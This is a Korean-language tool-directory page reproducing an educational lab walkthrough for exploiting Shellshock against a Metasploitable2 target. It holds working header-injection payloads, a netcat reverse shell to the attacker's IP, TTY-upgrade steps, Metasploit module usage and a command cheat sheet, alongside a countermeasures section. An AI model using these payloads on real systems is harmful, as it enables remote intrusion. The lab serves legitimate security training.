Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-6271-Shellshock- — A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet. | Kitploit
도구/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed Teaming

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Payload Development
Labs & Practice
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.

저장소 보기
8개월 전아직 검토되지 않음

Shellshock (CVE-2014-6271) 악용: 완전하고 현대적인 데모 연구소

Shellshock(CVE-2014-6271)은 발견된 원격 코드 실행 취약점 중 가장 영향력 있는 것 중 하나입니다. 이 결함은 Bash에 영향을 미치며 공격자가 환경 변수에 조작된 페이로드를 주입하기만 하면 임의의 명령을 실행할 수 있게 합니다.

이 가이드는 다음을 사용한 완전하고 재현 가능한 데모를 제공합니다:

  • Kali Linux (공격자)
  • Metasploitable2 (대상)
  • curl, Burp Suite, Netcat
  • 수동으로 생성된 Bash 기반 CGI 스크립트

교육, 연구, 훈련 및 일반적인 사이버 보안 인식을 위해 설계되었습니다.


📌 목차

  1. 연구실 아키텍처
  2. 취약한 CGI 스크립트 생성
  3. Shellshock 취약점 이해
  4. curl을 이용한 Shellshock 악용
  5. Burp Suite를 이용한 Shellshock 악용
  6. Shellshock을 통한 리버스 셸
  7. 완전 대화형 TTY로 업그레이드
  8. 공격 체인 다이어그램
  9. 스크린샷 갤러리
  10. 대응 방안
  11. 치트 시트 (모든 명령어)
  12. Metasploit을 이용한 Shellshock 악용
  13. 결론

1. 연구실 아키텍처

이 간단한 2노드 설정은 산업 및 IoT 시스템에 여전히 존재하는 많은 레거시 배포를 반영합니다.


2. 취약한 CGI 스크립트 생성

Metasploitable2에서:

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Kali에서 스크립트 테스트:

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

환경 변수가 표시되어야 합니다.


3. Shellshock 취약점 이해

Shellshock는 Bash가 함수 정의를 닮은 환경 변수를 잘못 구문 분석할 때 발생합니다.

다음과 같은 악의적인 변수:

root@kitploit:~
() { :; }; /bin/bash -c "id"

는 함수가 실제로 호출되지 않더라도 Bash가 함수 정의 이후의 명령을 실행하게 만듭니다.

CGI 애플리케이션은 HTTP 헤더가 자동으로 환경 변수로 스크립트에 전달되기 때문에 특히 취약합니다.


4. curl을 이용한 Shellshock 악용

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

출력에는 다음이 포함되어야 합니다:

root@kitploit:~
Vulnerable
uid=33(www-data)

이는 원격 코드 실행을 확인합니다.


5. Burp Suite를 이용한 Shellshock 악용

5.1 일반 요청 보내기

다음 방문:

root@kitploit:~
http://192.168.1.5/cgi-bin/shellshock.sh

요청을 Repeater로 보냅니다.

5.2 Shellshock 페이로드 주입

User-Agent 헤더를 다음으로 교체:

root@kitploit:~
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 응답

다음이 표시되어야 합니다:

root@kitploit:~
BurpTest
uid=33(www-data)

Burp Suite는 시각적이고 교육적인 방식으로 취약점을 확인합니다.


6. Shellshock을 통한 리버스 셸

Kali에서 리스너 시작:

root@kitploit:~
nc -lvnp 4444

CGI 스크립트를 통해 리버스 셸 트리거:

root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

셸이 Kali에 다시 연결됩니다.


7. 완전 대화형 TTY로 업그레이드

리버스 셸 내부에서:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

세션 일시 중단:

root@kitploit:~
Ctrl + Z

Kali에서:

root@kitploit:~
stty raw -echo; fg

Enter를 누릅니다.

이제 다음이 있습니다:

  • 탭 완성
  • 화살표 키
  • 작업 제어
  • 완전 대화형 Bash

8. 공격 체인 다이어그램

root@kitploit:~
          ┌────────────────────────┐
          │     공격자 (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. 악의적인 HTTP 헤더 (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Apache 웹 서버 (CGI)     │
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. 헤더 → CGI 환경 변수
                    │
                    ▼
      ┌──────────────────────────┐
      │     Bash (취약함)        │
      └───────────┬──────────────┘
                  │
      3. 주입된 명령 실행
                  │
                  ▼
        ┌─────────────────────────┐
        │  www-data 셸 접근       │
        └───────────┬─────────────┘
                    │
        4. 리버스 셸 → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ 완전 대화형 TTY           │
      └──────────────────────────┘

9. 스크린샷 갤러리

공격의 주요 단계에 대한 시각적 워크스루입니다.

설명이미지
Nmap 스캔 + Shellshock 테스트 출력

10. 대응 방안

✔ 1. Bash 업그레이드

함수 구문 분석을 올바르게 처리하는 버전으로 패치합니다.

✔ 2. CGI 비활성화

레거시 CGI는 불필요한 시스템적 위험을 도입합니다.

✔ 3. HTTP 헤더 정화

다음과 같은 의심스러운 패턴을 제거합니다:

root@kitploit:~
() { :; };

✔ 4. 최소 권한 원칙 사용

웹 서버 사용자(www-data) 권한을 제한합니다.

✔ 5. 아웃바운드 연결 제한

리버스 셸 및 데이터 유출을 차단합니다.

✔ 6. 웹 애플리케이션 방화벽(WAF) 배포

최신 WAF 시그니처는 Shellshock을 즉시 탐지합니다.

✔ 7. SELinux / AppArmor 활성화

Bash 프로세스를 제한하고 의도하지 않은 동작을 차단합니다.

✔ 8. 정기적인 취약점 스캔 실행

다음과 같은 도구 사용:

  • Nessus
  • OpenVAS
  • Nikto
  • Nmap NSE (http-shellshock.nse)

11. 치트 시트 (모든 명령어)

대상 설정

root@kitploit:~
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

CGI 테스트

root@kitploit:~
curl http://192.168.1.5/cgi-bin/shellshock.sh

Shellshock 테스트

root@kitploit:~
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

리버스 셸

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

완전 TTY로 업그레이드

셸 내부:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

일시 중단:

root@kitploit:~
Ctrl + Z

Kali에서:

root@kitploit:~
stty raw -echo; fg

Enter를 누릅니다.


12. Metasploit을 이용한 Shellshock 악용 (msfconsole)

Metasploit은 내장 모듈을 사용하여 Shellshock을 악용하는 전문적이고 자동화된 방법을 제공합니다:

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec

이 방법은 빠르고 안정적이며 자동 페이로드 스테이징(예: Meterpreter)을 제공합니다.


12.1 Metasploit 시작

root@kitploit:~
msfconsole

12.2 Shellshock 모듈 검색

root@kitploit:~
search shellshock

다음이 표시되어야 합니다 (다른 것들 중에서):

root@kitploit:~
exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash 환경 변수 코드 인젝션 (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash 환경 변수 인젝션 (스캐너)

12.3 익스플로잇 모듈 로드

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec

12.4 필요한 옵션 구성

대상 IP 설정:

root@kitploit:~
set rhosts 192.168.1.5

취약한 CGI 경로 설정:

root@kitploit:~
set targeturi /cgi-bin/shellshock.sh

Kali IP 설정:

root@kitploit:~
set lhost 192.168.1.4

선택적으로 수신 포트 설정:

root@kitploit:~
set lport 4444

확인:

root@kitploit:~
options

다음이 표시되어야 합니다:

root@kitploit:~
RHOSTS     192.168.1.5
TARGETURI  /cgi-bin/shellshock.sh
LHOST      192.168.1.4
LPORT      4444
METHOD     GET
HEADER     User-Agent
CVE        CVE-2014-6271

12.5 익스플로잇 실행

root@kitploit:~
run

성공 시:

root@kitploit:~
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...

12.6 Meterpreter 세션과 상호 작용

root@kitploit:~
sessions -i 1

이제 다음이 있습니다:

root@kitploit:~
meterpreter >

12.7 일반 셸 생성

root@kitploit:~
shell

그런 다음:

root@kitploit:~
id
hostname

예상 출력:

root@kitploit:~
uid=33(www-data) gid=33(www-data)
metasploitable

Metasploit과 Shellshock을 사용하여 원격 명령 실행을 획득했습니다.


13. 결론

이 데모는 간단한 HTTP 헤더 조작, 리버스 셸, CGI 스크립트 실행 및 Metasploit 자동화를 통해 Shellshock이 어떻게 악용될 수 있는지 보여줍니다. 10년 이상이 지났음에도 Shellshock은 다음과 같은 중요한 교훈을 제공합니다:

  • 안전한 소프트웨어 관행
  • 입력 정화
  • 레거시 시스템 위험
  • 사후 침투 기술

많은 사랑을 담아 제작:
오만의 Haitham ❤️🇴🇲

도구 다운로드
구성 요소역할OSIP 주소주요 서비스
Kali Linux공격자Kali Linux (최신)192.168.1.4curl, Burp Suite, Netcat
Metasploitable2대상 취약 서버Ubuntu Linux (MSF2)192.168.1.5Apache 2.2, CGI 스크립트, Bash
Apache mod_cgi스크립트 실행MSF2에서 실행n/aCGI를 통해 Bash 노출
shellshock.sh취약한 진입점Bash CGIn/a환경 변수 표시
Burp Suite – 초기 Shellshock 요청
Burp Suite – 페이로드/헤더 주입
Kali에서 리버스 셸 수신 (nc)